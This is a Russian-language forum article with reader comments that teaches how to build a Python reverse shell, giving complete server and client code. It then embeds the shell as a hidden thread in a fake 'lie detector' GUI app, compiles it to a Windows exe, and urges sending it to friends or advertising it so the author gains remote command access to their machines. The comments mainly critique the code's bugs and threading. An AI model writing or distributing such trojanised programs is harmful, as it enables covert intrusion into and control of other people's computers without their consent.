• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Создание быстрого Reverse Shell на Python

python_reverse_shell.jpg

Всем привет. Предлагаю вам краткую статью на тему того, как написать быстрый Reverse Shell на языке программирования Python.

Начнём с подключения необходимых нам библиотек.
subprocess, socket

Написание серверной части
Говорим сокету что будем работать по протоколу TCP (это более надёжное соединение).
Python:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Далее резервируем порт на котором наше соединение будет работать.
Python:
s.bind(('127.0.0.1', 8888))

Метод accept() будет содержать кортеж, содержимое которого присвоится client и addr.
Python:
client, addr = s.accept()

Затем создадим бесконечный цикл, для того чтобы наша программа не завершилась после первой команды.
Принимаем строковое значение.

Python:
while True:
        command = input('Enter command: ')

Отправляем команду клиенту в закодированом виде.
Python:
client.send(command.encode())

Создадим ещё команду exit, если мы уже достаточно напакостили и хотим выйти.
Python:
if command.lower() == 'exit':
       break

Создаём переменную для получения результата от жертвы и декодируем её.
Python:
result_output = client.recv(4096).decode()

И выводим с помощью print.
Python:
print(result_output)

Теперь закрываем все подключения.
Python:
client.close()
s.close()

Отлично, сторона сервера готова, полный код выглядит вот так:
Python:
import socket


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8888))
s.listen(5)


client, addr = s.accept()


while True:
    command = input('Enter command: ')
    client.send(command.encode())
    if command.lower() == 'exit':
        break
    result_output = client.recv(4096).decode()
    print(result_output)


client.close()
s.close()

Написание клиентской части
Здесь уже нужно добавить ещё одну библиотеку, а именно subprocess, она позволит выполнять команды.
Python:
import subprocess

Точно также говорим скрипту что будем работать по протоколу TCP.
Python:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Теперь инициализируем подключение к серверной части скрипта.
Python:
s.connect(('127.0.0.1', 8888))

Создадим цикл while True в котором скрипт будет ожидать команды от сервера и декодировать их.
Python:
while True:
    command = s.recv(4096).decode()

Также создадим условие для выхода.
Python:
if command.lower() == 'exit':
        break

Наконец вывод и отправка вывода от клиента.
Python:
output = subprocess.getoutput(command)
s.send(output.encode())

Закрываем сокет.
Python:
s.close()

Полный код выглядит вот так:
Python:
import socket
import subprocess


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


s.connect(('127.0.0.1', 8888))


while True:
    command = s.recv(4096).decode()
    if command.lower() == 'exit':
        break
    output = subprocess.getoutput(command)
    s.send(output.encode())


s.close()

Там где написано 127.0.0.1, нужно подставить свой IP соответственно, иначе вы будете заражать сами себя.
Обратите внимание что в методах connect и blind я использую по 2 скобки, потому что это кортеж.

Репозиторий с этими файлами лежат .
Имейте в виду, что shell работает только тогда, когда клиентский файл активен, так что лучше его запускать как python3 client.py &

Screenshot_2023-12-05_15-40-29.png


Так как мне кажется, что статья получилась короткой, я расскажу как внедрить его в свою программу на python и эскплойтить на Linux и Windows.
У меня ещё со времён когда я учился в шараге осталась программка, что-то типо детектора лжи. Программа просто выдавала числа от 0 до 1 в рандоме, если результат 1, то правда, если 0, то ложь вне зависимости от вопроса, хаха.
В ней имеется графический интерфейс и exe файл, поэтому подозрения сведены к минимуму.
Её main файл выглядит вот так:

Python:
import PySimpleGUI as sg
import random
import time


#Дизайн приложения


sg.theme('DarkGrey5')


layout = [
    [sg.Text("Задай свой вопрос: ", font="Arial, 11")],[sg.Input(key="Answeruser")],
    [sg.Button("Узнать ответ")],[sg.Text("Результат:", font="Arial, 15")],
    [sg.Text("Нет, это ложь!", key="lie", visible=False, font="Arial, 20")],
    [sg.Text("Да,это правда!", key="true", visible=False, font="Arial, 20")],
]


window = sg.Window("True Or False?", layout, icon=r'/logo.png', size=(290,400), finalize=True) #основное окно приложения


while True: #бесконечный цикл для постоянной работы программы
    event, values = window.read()
    if event == sg.WIN_CLOSED: #завершает работу приложения
        break
    if event == 'Узнать ответ':
        answer = random.randint(0,1) # генерация ответа
        print("Кнопка работает") #Проверка кнопки
        if answer == 0:
            window["lie"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
            window.Refresh()
            time.sleep(3)
            window["lie"].update(visible=False)
        elif answer == 1:
            window["true"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
            window.Refresh()
            time.sleep(3)
            window["true"].update(visible=False)
#обновление экрана
        window.Refresh()


#закрытие окна приложения
window.close()

Найти код программы можно .
Здесь ничего сложного на самом деле, просто вставим наши библиотеки.

Python:
import PySimpleGUI as sg
import random
import time
!!!import socket!!!
!!!import subprocess!!![/SIZE]
!!!from threading import Thread!!!
[SIZE=4]

Разделим тело программы на 2 функции для того, чтобы мы могли дать им возможность работать одновременно, в функции main() будет основной код приложения, в shell(), собственно, наш шелл.
Python:
[/SIZE]
#библиотеки для работы приложения
import PySimpleGUI as sg
import random
import time
!!!!import socket
!!!!import subprocess
!!!!!from threading import Thread

def main():
    sg.theme('DarkGrey5')

    layout = [
        [sg.Text("Задай свой вопрос: ", font="Arial, 11")],[sg.Input(key="Answeruser")],
        [sg.Button("Узнать ответ")],[sg.Text("Результат:", font="Arial, 15")],
        [sg.Text("Нет, это ложь!", key="lie", visible=False, font="Arial, 20")],
        [sg.Text("Да,это правда!", key="true", visible=False, font="Arial, 20")],
    ]
    window = sg.Window("True Or False?", layout, icon=r'/logo.png', size=(290,400), finalize=True) #основное окно приложения

    while True:
        event, values = window.read() 
        if event == sg.WIN_CLOSED: #завершает работу приложения
            break
        if event == 'Узнать ответ':
            answer = random.randint(0,1) # генерация ответа
            print("Кнопка работает") #Проверка кнопки
            if answer == 0:
                window["lie"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
                window.Refresh()
                time.sleep(3)
                window["lie"].update(visible=False)
            elif answer == 1:
                window["true"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
                window.Refresh()
                time.sleep(3)
                window["true"].update(visible=False)
#обновление экрана
            window.Refresh()
#закрытие окна приложения
    window.close()
!!!!def shell():
!!!!    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

!!!!    s.connect(('IP', 8888))

!!!    while True:
!!!        command = s.recv(4096).decode()
!!!        if command.lower() == 'exit':
!!!            break
!!!        output = subprocess.getoutput(command)
!!!        s.send(output.encode())
!!!
!!!    s.close()

if __name__ == "__main__":
    thread = Thread(target=shell)
    thread_main = Thread(target=main)
    thread.start()
    thread_main.start()
    thread.join()
    thread_main.join()

Отлично, теперь при запуске программы программа запустит shell и пока пользователь задаёт вопросы программе, она также предоставляет нам доступ к директориям и файловой системе.
Для того чтобы скомпилировать эту программу в exe-шник, нужно на Windows (на Linux у меня не вышло), выполнить следующую команду (c помощью pyinstaller): pyinstaller --onefile --windowed main.py

Готово, теперь можно отправлять программу другу, или рекламировать её где-нибудь. Желаю удачи, братья!
 
Последнее редактирование:

f22

Codeby Academy
Gold Team
05.05.2019
1 837
225
BIT
992
Статью даже слабой назвать сложно.

Метод accept() будет принимать в себя 2 значения (client и addr).
Python:
client, addr = s.accept()
Совсем наоборот: метод accept возвращает кортеж, содержимое которого присваивается переменным client и addr

command = str(input('Enter command: '))
Зачем же строку к строке приводить?

Создадим while True в которой
Почему в которой? цикл - он...

Также создадим команду для выхода.
Это не команда, это условие

output = subprocess.getoutput(command) s.send(output.encode())
А почему тут отступ?

иначе вы будете заражать сами себя.
Чем заражать?

Кортеж

Результат

В ней ей графический
есть?

while True: #Закрывает программу
Судя по таким комментариям, оставляли их к чужому коду...

можно дать команду os.system(python3 -c 'КОД' &)
и получить ошибку


Ну и самое главное
Отлично, теперь при запуске программы программа запустит shell и пока пользователь задаёт вопросы
Да не дойдёт этот код до вопросов пользователя.
Вы создаёте бесконечный цикл, в котором происходит сетевое взаимодействие, а строка кода с формированием окна PySimpleGUI находится после этого цикла.
 

D3L1F3R

Red Team
20.02.2022
305
81
BIT
335
Статью даже слабой назвать сложно.


Совсем наоборот: метод accept возвращает кортеж, содержимое которого присваивается переменным client и addr


Зачем же строку к строке приводить?


Почему в которой? цикл - он...


Это не команда, это условие


А почему тут отступ?


Чем заражать?


Кортеж


Результат


есть?


Судя по таким комментариям, оставляли их к чужому коду...



и получить ошибку


Ну и самое главное

Да не дойдёт этот код до вопросов пользователя.
Вы создаёте бесконечный цикл, в котором происходит сетевое взаимодействие, а строка кода с формированием окна PySimpleGUI находится после этого цикла.
касательно метода accept ошибся в объяснении, строку привёл к строке по глупости, только сейчас обратил внимание, вообще верно что это условие, но для нашей стороны это можно назвать командой, не понимаю про какой отступ вы говорите, зарадать этим "конём" ну т.е подключаться к своему же компьютеру, кортеж не знаю что побудило меня так написать, результат справедливо, да есть, комментарий к while True оставлен мной и эту прогу я писал давным давно так что даже не могу объяснить почему цикл это выход из программы, относительно команды os.system на виндовс должен быть установлен python я об этом говорил, данная команда работает на всех версиях пайтон
 

f22

Codeby Academy
Gold Team
05.05.2019
1 837
225
BIT
992
не понимаю про какой отступ вы говорите
1702970637265.png


относительно команды os.system на виндовс должен быть установлен python я об этом говорил, данная команда работает на всех версиях пайтон
Речь не о команде, а о том, что символ амперсанда не используется в cmd
Он применяется только в *nix системах
 
  • Нравится
Реакции: D3L1F3R

D3L1F3R

Red Team
20.02.2022
305
81
BIT
335
  • Нравится
Реакции: f22

D3L1F3R

Red Team
20.02.2022
305
81
BIT
335

f22

Codeby Academy
Gold Team
05.05.2019
1 837
225
BIT
992
Исправил всё что вы заметили и перепроверил, исправил код, спасибо что рассказали об ошибках!
Пожалуйста

И вставим код в часть программы.
Не будет это просто так работать.
У вас один поток выполнения - он или занят сокетами, или занят работой с Pythongui

Чтобы одновременно выполнялись обе задачи, нужно создать для каждой свой поток.
Или через Process, или через Thread
 
  • Нравится
Реакции: D3L1F3R

D3L1F3R

Red Team
20.02.2022
305
81
BIT
335
Пожалуйста


Не будет это просто так работать.
У вас один поток выполнения - он или занят сокетами, или занят работой с Pythongui

Чтобы одновременно выполнялись обе задачи, нужно создать для каждой свой поток.
Или через Process, или через Thread
Да, я это сделал =)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!